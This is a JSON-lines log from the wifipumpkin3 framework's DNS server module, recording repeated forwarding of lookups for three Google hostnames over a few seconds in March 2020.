{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.697145", "seconds": 18.697145}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.122958-03:00", "timestamp": 1584232905.122958}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.829113", "seconds": 18.829113}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.254926-03:00", "timestamp": 1584232905.254926}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.918691", "seconds": 18.918691}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.344504-03:00", "timestamp": 1584232905.344504}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.002845", "seconds": 19.002845}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.428658-03:00", "timestamp": 1584232905.428658}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.076150", "seconds": 19.07615}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.501963-03:00", "timestamp": 1584232905.501963}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.099073", "seconds": 19.099073}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.524886-03:00", "timestamp": 1584232905.524886}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.142109", "seconds": 19.142109}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.567922-03:00", "timestamp": 1584232905.567922}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.245810", "seconds": 19.24581}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.671623-03:00", "timestamp": 1584232905.671623}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.318545", "seconds": 19.318545}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.744358-03:00", "timestamp": 1584232905.744358}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.411511", "seconds": 19.411511}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.837324-03:00", "timestamp": 1584232905.837324}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.515280", "seconds": 19.51528}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.941093-03:00", "timestamp": 1584232905.941093}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.563465", "seconds": 19.563465}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.989278-03:00", "timestamp": 1584232905.989278}}}
{"text": "2020-03-14 at 21:41:46 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.676288", "seconds": 19.676288}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:46.102101-03:00", "timestamp": 1584232906.102101}}}
{"text": "2020-03-14 at 21:41:46 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.782228", "seconds": 19.782228}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:46.208041-03:00", "timestamp": 1584232906.208041}}}
{"text": "2020-03-14 at 21:41:46 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.908481", "seconds": 19.908481}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:46.334294-03:00", "timestamp": 1584232906.334294}}}
{"text": "2020-03-14 at 21:41:46 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:19.972834", "seconds": 19.972834}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:46.398647-03:00", "timestamp": 1584232906.398647}}}
{"text": "2020-03-14 at 21:41:46 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.120844", "seconds": 20.120844}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:46.546657-03:00", "timestamp": 1584232906.546657}}}
{"text": "2020-03-14 at 21:41:46 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.179624", "seconds": 20.179624}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:46.605437-03:00", "timestamp": 1584232906.605437}}}
{"text": "2020-03-14 at 21:41:46 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.290480", "seconds": 20.29048}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:46.716293-03:00", "timestamp": 1584232906.716293}}}
{"text": "2020-03-14 at 21:41:46 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.358450", "seconds": 20.35845}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:46.784263-03:00", "timestamp": 1584232906.784263}}}
{"text": "2020-03-14 at 21:41:46 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.400325", "seconds": 20.400325}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:46.826138-03:00", "timestamp": 1584232906.826138}}}
{"text": "2020-03-14 at 21:41:46 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.494526", "seconds": 20.494526}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:46.920339-03:00", "timestamp": 1584232906.920339}}}
{"text": "2020-03-14 at 21:41:47 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.590095", "seconds": 20.590095}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:47.015908-03:00", "timestamp": 1584232907.015908}}}
{"text": "2020-03-14 at 21:41:47 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.663354", "seconds": 20.663354}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:47.089167-03:00", "timestamp": 1584232907.089167}}}
{"text": "2020-03-14 at 21:41:47 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.720503", "seconds": 20.720503}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:47.146316-03:00", "timestamp": 1584232907.146316}}}
{"text": "2020-03-14 at 21:41:47 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.809933", "seconds": 20.809933}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:47.235746-03:00", "timestamp": 1584232907.235746}}}
{"text": "2020-03-14 at 21:41:47 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:20.959608", "seconds": 20.959608}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:47.385421-03:00", "timestamp": 1584232907.385421}}}
{"text": "2020-03-14 at 21:41:47 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:21.063003", "seconds": 21.063003}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:47.488816-03:00", "timestamp": 1584232907.488816}}}
{"text": "2020-03-14 at 21:41:47 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:21.277793", "seconds": 21.277793}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:47.703606-03:00", "timestamp": 1584232907.703606}}}
{"text": "2020-03-14 at 21:41:47 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:21.411355", "seconds": 21.411355}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:47.837168-03:00", "timestamp": 1584232907.837168}}}
{"text": "2020-03-14 at 21:41:47 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:21.550612", "seconds": 21.550612}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:47.976425-03:00", "timestamp": 1584232907.976425}}}
{"text": "2020-03-14 at 21:41:48 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:21.673392", "seconds": 21.673392}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:48.099205-03:00", "timestamp": 1584232908.099205}}}
{"text": "2020-03-14 at 21:41:48 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:21.808895", "seconds": 21.808895}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:48.234708-03:00", "timestamp": 1584232908.234708}}}
{"text": "2020-03-14 at 21:41:48 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:21.973279", "seconds": 21.973279}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:48.399092-03:00", "timestamp": 1584232908.399092}}}
{"text": "2020-03-14 at 21:41:48 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:22.153829", "seconds": 22.153829}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:48.579642-03:00", "timestamp": 1584232908.579642}}}
